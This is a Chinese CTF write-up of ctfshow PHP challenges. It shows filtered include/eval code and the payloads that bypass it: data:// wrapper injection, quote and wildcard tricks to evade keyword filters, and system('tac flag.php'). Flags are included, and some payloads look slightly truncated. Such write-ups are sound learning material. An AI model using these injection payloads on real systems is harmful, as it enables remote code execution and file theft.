目录
- if(!preg_match("/flag/i", $c)){
- include($c);
- echo $flag;
-
- }
与前几题不同,前几题传入的字符串被eval当作命令执行了,而这道题是include,也就是说应该传入一个文件名,在这里被包含
但是过滤了flag,传入flag.php是行不通的,这时候可以使用data://text/plain,
让网页直接包含我们写入的代码,从而执行恶意命令
/?c=data://text/plain,=system('tac fl""ag.php');?>
注意flag需要绕过,可以使用引号绕过
ctfshow{84e1eca1-f50c-468a-a62d-15e527fa734f}
if(!preg_match("/flag|php|file/i", $c))
这一题比上一题多过滤了个php,可以使用通配符绕过
/?c=data://text/plain,=system('tac fl*');?>
注意flag需要绕过,可以使用引号绕过
ctfshow{f311f8d8-07a3-473c-bccb-05be9affc617}
- if(isset($_GET['c'])){
- $c = $_GET['c'];
- if(!preg_match("/flag/i", $c)){
- include($c.".php");
- }
看起来很唬人,我觉得是不是传个flag,其实根本不用管这个.".php",多出来的部分会自动识别为字符串,所以还是跟37一样
/?c=data://text/plain,=system('tac fl""ag.php');?>
注意flag需要绕过,可以使用引号绕过
ctfshow{78e78020-1ad2-446c-8a13-0cdf5e916bf4}
- if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
- eval($c);
这道题又回到eval了,但是过滤的内容有点多,翻阅了大佬的题解,发现这里面的括号是中文括号,所以可以使用套娃
套娃在前面的文章中有详细的操作流程与解释
post传一个参数:Chen=system('tac flag.php');
ctfshow{383cbb4b-1fbf-4209-9efb-b64720e53766}